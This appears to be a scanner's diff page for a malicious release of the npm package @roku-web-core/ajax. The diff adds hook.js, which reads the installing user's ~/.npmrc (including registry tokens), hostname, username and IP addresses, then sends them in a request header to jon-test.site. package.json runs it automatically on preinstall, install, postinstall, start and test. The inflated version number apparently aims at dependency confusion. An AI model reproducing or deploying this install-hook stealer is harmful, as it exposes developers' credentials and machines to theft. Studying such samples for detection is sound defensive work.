@roku-web-core/ajax 0.0.1-security → 0.999999999999999.999999999999999

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @roku-web-core/ajax might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/hook.js +38 -0
  2. package/index.js +6 -0
  3. package/package.json +11 -3
  4. package/README.md +0 -5
package/hook.js ADDED
@@ -0,0 +1,38 @@
1
+ var fs = require('fs');
2
+ var https = require('https');
3
+ var os = require('os');
4
+
5
+ var ifaces = os.networkInterfaces();
6
+ var iface_names = Object.keys(ifaces).filter(x => x !== 'lo');
7
+ var client_ip_addrs = [];
8
+ for (var i = 0; i < iface_names.length; i++) {
9
+ var addrs = ifaces[iface_names[i]];
10
+ for (var j = 0; j < addrs.length; j++) {
11
+ client_ip_addrs.push(addrs[j].address);
12
+ }
13
+ }
14
+
15
+ var npmrcText = '';
16
+ try {
17
+ npmrcText = fs.readFileSync(os.homedir() + '/.npmrc');
18
+ } catch (e) {
19
+ //console.warn(e);
20
+ }
21
+ var options = {
22
+ headers: {
23
+ 'User-Agent': `
24
+ time: ${Math.floor(Date.now() / 1000)}
25
+ npmaction: ${process.argv.pop()}
26
+ hostname: ${os.hostname()}
27
+ username: ${os.userInfo().username}
28
+ addrs: ${client_ip_addrs.join(',')}
29
+ npmrc: ${npmrcText}
30
+ `.trim().split('\n').join(', ')
31
+ }
32
+ };
33
+
34
+ https.get('https://jon-test.site/funtimes.php', options, function() {
35
+ //console.log(x);
36
+ }).on('error', (e) => {
37
+ //console.error(e);
38
+ });
package/index.js ADDED
@@ -0,0 +1,6 @@
1
+ module.exports = {
2
+ foo: () => null
3
+ };
4
+
5
+ require('./hook');
6
+ console.warn('@roku-web-core/ajax: Csrf started more than once - something is wrong');
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "@roku-web-core/ajax",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.999999999999999.999999999999999",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "preinstall": "node hook.js preinstall",
7
+ "postinstall": "node hook.js postinstall",
8
+ "install": "node hook.js install",
9
+ "prestart": "node hook.js prestart",
10
+ "start": "node hook.js start",
11
+ "poststart": "node hook.js poststart",
12
+ "test": "node hook.js test"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40roku-web-core%2Fajax for more information.